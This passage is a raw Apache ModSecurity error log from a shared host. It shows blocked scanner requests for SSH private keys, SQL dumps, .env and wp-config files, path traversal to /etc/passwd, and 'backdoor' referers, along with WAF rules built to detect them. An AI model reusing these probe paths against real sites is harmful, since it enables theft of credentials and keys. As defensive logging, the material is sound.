"mail.eww.kxw.mybluehost.me"] [uri "/wp-includes/wlwmanifest.xml"] [unique_id "ai3x9MTA7b1mZrmcA-84BwAAAks"] [Sat Jun 13 18:12:37.009200 2026] [security2:error] [pid 531797:tid 532049] [client 103.153.183.69:13072] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "smartagrico.com"] [uri "/./db.sql"] [unique_id "ai3x9cTA7b1mZrmcA-84DAAAAkc"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:37.020935 2026] [security2:error] [pid 531155:tid 531409] [client 103.153.183.69:12894] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "smartagrico.com"] [uri "/.ssh/id_ecdsa"] [unique_id "ai3x9SmiP80klyS0NnoEzAAAAYY"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:37.027814 2026] [security2:error] [pid 531155:tid 531231] [remote 185.177.72.9:45824] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/etc/"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/etc/apache2/apache2.conf"] [unique_id "ai3x9SmiP80klyS0NnoEywABOUs"] [Sat Jun 13 18:12:37.039243 2026] [security2:error] [pid 531155:tid 531312] [client 103.153.183.69:13212] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "smartagrico.com"] [uri "/db.sql"] [unique_id "ai3x9SmiP80klyS0NnoEzwAAASU"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:37.091991 2026] [access_compat:error] [pid 531797:tid 531951] [remote 216.73.216.182:63651] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:37.092427 2026] [access_compat:error] [pid 531797:tid 531951] [remote 216.73.216.182:63651] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:37.175844 2026] [access_compat:error] [pid 531797:tid 531928] [remote 216.73.216.182:63651] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?action=backdoor&p=L3Zhci9saWI%3D [Sat Jun 13 18:12:37.176311 2026] [access_compat:error] [pid 531797:tid 531928] [remote 216.73.216.182:63651] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?action=backdoor&p=L3Zhci9saWI%3D [Sat Jun 13 18:12:37.207200 2026] [security2:error] [pid 531797:tid 532075] [client 103.153.183.69:13170] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "smartagrico.com"] [uri "/.ssh/id_dsa"] [unique_id "ai3x9cTA7b1mZrmcA-84IQAAAmE"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:37.233171 2026] [security2:error] [pid 531797:tid 532094] [client 103.153.183.69:13054] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "smartagrico.com"] [uri "/.ssh/./id_dsa"] [unique_id "ai3x9cTA7b1mZrmcA-84JAAAAnM"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:37.240284 2026] [access_compat:error] [pid 531797:tid 531949] [remote 57.141.14.68:41192] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:37.240756 2026] [access_compat:error] [pid 531797:tid 531949] [remote 57.141.14.68:41192] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:37.261788 2026] [security2:error] [pid 531155:tid 531222] [remote 57.141.14.100:31213] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 100.14.141.57.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "nelsonfarmstn.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "ai3x9SmiP80klyS0NnoE3gABDkI"], referer: https://nelsonfarmstn.com/product/16-oz-sugar-scrub/?add_to_wishlist=1258&_wpnonce=8d149de2a5&add-to-cart=391 [Sat Jun 13 18:12:37.305833 2026] [autoindex:error] [pid 531797:tid 532095] [client 143.244.57.82:54464] AH01276: Cannot serve directory /home2/ewwkxwmy/public_html/: No matching DirectoryIndex (index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.php,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive [Sat Jun 13 18:12:37.316824 2026] [access_compat:error] [pid 531797:tid 531893] [remote 57.141.14.17:47566] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:37.317260 2026] [access_compat:error] [pid 531797:tid 531893] [remote 57.141.14.17:47566] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:37.321450 2026] [security2:error] [pid 531797:tid 532000] [client 103.153.183.69:13286] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:id_(?:r|d)sa$|key\\\\.pem$|(?:myserver|private-?key)\\\\.key$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1291"] [id "350591"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access raw Private cryto keys"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/.ssh/id_dsa"] [unique_id "ai3x9cTA7b1mZrmcA-84LQAAAhg"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:37.336720 2026] [security2:error] [pid 531797:tid 532081] [client 103.153.183.69:13154] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sql$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1288"] [id "350590"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access raw SQL files (disable this rule if you require access to files that end with .sql)"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/database.sql"] [unique_id "ai3x9cTA7b1mZrmcA-84LgAAAmc"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:37.348283 2026] [security2:error] [pid 531797:tid 531998] [client 103.153.183.69:13286] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "smartagrico.com"] [uri "/.ssh/%2Fid_dsa"] [unique_id "ai3x9cTA7b1mZrmcA-84LwAAAhY"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:37.366085 2026] [security2:error] [pid 531797:tid 532037] [client 103.153.183.69:13154] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sql$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1288"] [id "350590"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access raw SQL files (disable this rule if you require access to files that end with .sql)"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/database.sql"] [unique_id "ai3x9cTA7b1mZrmcA-84MAAAAjw"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:37.399111 2026] [security2:error] [pid 531797:tid 532004] [client 103.153.183.69:13154] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:id_(?:r|d)sa$|key\\\\.pem$|(?:myserver|private-?key)\\\\.key$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1291"] [id "350591"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access raw Private cryto keys"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/.ssh/id_dsa"] [unique_id "ai3x9cTA7b1mZrmcA-84MQAAAhw"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:37.425794 2026] [security2:error] [pid 531797:tid 532047] [client 103.153.183.69:13154] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "smartagrico.com"] [uri "/database.sql"] [unique_id "ai3x9cTA7b1mZrmcA-84MgAAAkU"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:37.430912 2026] [security2:error] [pid 531797:tid 532042] [client 103.153.183.69:13302] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:id_(?:r|d)sa$|key\\\\.pem$|(?:myserver|private-?key)\\\\.key$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1291"] [id "350591"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access raw Private cryto keys"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/.ssh/id_dsa"] [unique_id "ai3x9cTA7b1mZrmcA-84MwAAAkE"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:37.453336 2026] [security2:error] [pid 531797:tid 532071] [client 143.244.57.82:54464] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "mail.eww.kxw.mybluehost.me"] [uri "/blog/wp-includes/wlwmanifest.xml"] [unique_id "ai3x9cTA7b1mZrmcA-84NQAAAl0"] [Sat Jun 13 18:12:37.514408 2026] [access_compat:error] [pid 531155:tid 531260] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQ2L2V2ZW50NS9zdWJzeXN0ZW0vaW5wdXQ0L3Bvd2Vy [Sat Jun 13 18:12:37.516155 2026] [access_compat:error] [pid 531155:tid 531260] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQ2L2V2ZW50NS9zdWJzeXN0ZW0vaW5wdXQ0L3Bvd2Vy [Sat Jun 13 18:12:37.630434 2026] [access_compat:error] [pid 531797:tid 531864] [remote 57.141.14.62:38458] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:37.630875 2026] [access_compat:error] [pid 531797:tid 531864] [remote 57.141.14.62:38458] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:37.745512 2026] [security2:error] [pid 531797:tid 532039] [client 143.244.57.82:54468] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "mail.eww.kxw.mybluehost.me"] [uri "/wordpress/wp-includes/wlwmanifest.xml"] [unique_id "ai3x9cTA7b1mZrmcA-84RQAAAj4"] [Sat Jun 13 18:12:37.770416 2026] [security2:error] [pid 531155:tid 531171] [remote 17.246.15.196:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 196.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3x9SmiP80klyS0NnoE9wABiA8"] [Sat Jun 13 18:12:37.847405 2026] [security2:error] [pid 531155:tid 531264] [remote 144.76.119.9:22520] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.119.76.144.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "quieromifactura.biz"] [uri "/wp-login.php"] [unique_id "ai3x9SmiP80klyS0NnoE-gABS2w"], referer: https://quieromifactura.biz/wp-login.php [Sat Jun 13 18:12:37.952081 2026] [security2:error] [pid 531155:tid 531290] [client 103.153.183.69:12988] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "smartagrico.com"] [uri "/.env.local"] [unique_id "ai3x9SmiP80klyS0NnoE_gAAAQ8"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:38.022813 2026] [security2:error] [pid 531797:tid 532033] [client 103.153.183.69:13302] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:id_(?:r|d)sa$|key\\\\.pem$|(?:myserver|private-?key)\\\\.key$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1291"] [id "350591"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access raw Private cryto keys"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/id_rsa"] [unique_id "ai3x9sTA7b1mZrmcA-84UAAAAjg"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:38.039014 2026] [security2:error] [pid 531797:tid 532009] [client 103.153.183.69:13310] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sql$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1288"] [id "350590"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access raw SQL files (disable this rule if you require access to files that end with .sql)"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/db_backup.sql"] [unique_id "ai3x9sTA7b1mZrmcA-84UQAAAiE"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:38.047344 2026] [security2:error] [pid 531155:tid 531393] [client 143.244.57.82:54478] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "mail.eww.kxw.mybluehost.me"] [uri "/website/wp-includes/wlwmanifest.xml"] [unique_id "ai3x9imiP80klyS0NnoFBQAAAXY"] [Sat Jun 13 18:12:38.051146 2026] [security2:error] [pid 531797:tid 532003] [client 103.153.183.69:13302] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "smartagrico.com"] [uri "/./id_rsa"] [unique_id "ai3x9sTA7b1mZrmcA-84UgAAAhs"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:38.053428 2026] [access_compat:error] [pid 531155:tid 531242] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vbW91c2UxL3N1YnN5c3RlbS9ldmVudDMvcG93ZXI= [Sat Jun 13 18:12:38.053881 2026] [access_compat:error] [pid 531155:tid 531242] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vbW91c2UxL3N1YnN5c3RlbS9ldmVudDMvcG93ZXI= [Sat Jun 13 18:12:38.070381 2026] [security2:error] [pid 531797:tid 532100] [client 103.153.183.69:13310] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sql$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1288"] [id "350590"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access raw SQL files (disable this rule if you require access to files that end with .sql)"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/db_backup.sql"] [unique_id "ai3x9sTA7b1mZrmcA-84VQAAAnk"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:38.080706 2026] [security2:error] [pid 531797:tid 532058] [client 103.153.183.69:13326] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:id_(?:r|d)sa$|key\\\\.pem$|(?:myserver|private-?key)\\\\.key$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1291"] [id "350591"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access raw Private cryto keys"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/id_rsa"] [unique_id "ai3x9sTA7b1mZrmcA-84VwAAAlA"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:38.099961 2026] [security2:error] [pid 531797:tid 532086] [client 103.153.183.69:13310] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "smartagrico.com"] [uri "/db_backup.sql"] [unique_id "ai3x9sTA7b1mZrmcA-84WQAAAmw"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:38.149644 2026] [access_compat:error] [pid 531797:tid 531875] [remote 57.141.14.12:25862] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:38.150680 2026] [access_compat:error] [pid 531797:tid 531875] [remote 57.141.14.12:25862] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:38.157131 2026] [security2:error] [pid 531155:tid 531325] [client 103.153.183.69:13136] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sql$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1288"] [id "350590"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access raw SQL files (disable this rule if you require access to files that end with .sql)"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/mysql.sql"] [unique_id "ai3x9imiP80klyS0NnoFDAAAATI"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:38.162746 2026] [security2:error] [pid 531797:tid 531868] [remote 115.78.9.138:54804] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 138.9.78.115.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "traderootsltd.com"] [uri "/wp-login.php"] [unique_id "ai3x9sTA7b1mZrmcA-84XwACTwQ"] [Sat Jun 13 18:12:38.186849 2026] [security2:error] [pid 531155:tid 531348] [client 103.153.183.69:13136] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sql$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1288"] [id "350590"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access raw SQL files (disable this rule if you require access to files that end with .sql)"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/mysql.sql"] [unique_id "ai3x9imiP80klyS0NnoFDQAAAUk"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:38.187221 2026] [security2:error] [pid 531797:tid 532080] [client 103.153.183.69:13006] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "smartagrico.com"] [uri "/static../etc/passwd"] [unique_id "ai3x9sTA7b1mZrmcA-84ZgAAAmY"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:38.213503 2026] [security2:error] [pid 531797:tid 532120] [client 103.153.183.69:13184] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "smartagrico.com"] [uri "/static../etc/nginx/nginx.conf"] [unique_id "ai3x9sTA7b1mZrmcA-84ZwAAAow"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:38.218079 2026] [security2:error] [pid 531155:tid 531357] [client 103.153.183.69:13136] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sql$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1288"] [id "350590"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access raw SQL files (disable this rule if you require access to files that end with .sql)"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/mysql.sql"] [unique_id "ai3x9imiP80klyS0NnoFEQAAAVI"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:38.238771 2026] [security2:error] [pid 531797:tid 531882] [remote 17.22.237.89:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 89.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3x9sTA7b1mZrmcA-84aAACdBI"] [Sat Jun 13 18:12:38.244505 2026] [security2:error] [pid 531155:tid 531302] [client 103.153.183.69:13136] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "smartagrico.com"] [uri "/static../.env"] [unique_id "ai3x9imiP80klyS0NnoFEwAAARs"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:38.262022 2026] [security2:error] [pid 531155:tid 531329] [client 103.153.183.69:13232] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "smartagrico.com"] [uri "/%2Fmysql.sql"] [unique_id "ai3x9imiP80klyS0NnoFFAAAATY"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:38.283134 2026] [access_compat:error] [pid 531797:tid 531877] [remote 57.141.14.14:63534] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:38.283574 2026] [access_compat:error] [pid 531797:tid 531877] [remote 57.141.14.14:63534] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:38.292333 2026] [security2:error] [pid 531797:tid 532081] [client 103.153.183.69:13328] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "smartagrico.com"] [uri "/mysql.sql"] [unique_id "ai3x9sTA7b1mZrmcA-84bQAAAmc"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:38.296970 2026] [security2:error] [pid 531797:tid 532111] [client 103.153.183.69:13336] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.183.153.103.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "smartagrico.com"] [uri "/static../wp-config.php"] [unique_id "ai3x9sTA7b1mZrmcA-84bwAAAoQ"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:38.322012 2026] [security2:error] [pid 531797:tid 532018] [client 103.153.183.69:13346] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sql$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1288"] [id "350590"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access raw SQL files (disable this rule if you require access to files that end with .sql)"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/mysql.sql"] [unique_id "ai3x9sTA7b1mZrmcA-84cgAAAio"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:38.323489 2026] [security2:error] [pid 531155:tid 531363] [client 103.153.183.69:13358] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.183.153.103.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "smartagrico.com"] [uri "/static../config.php"] [unique_id 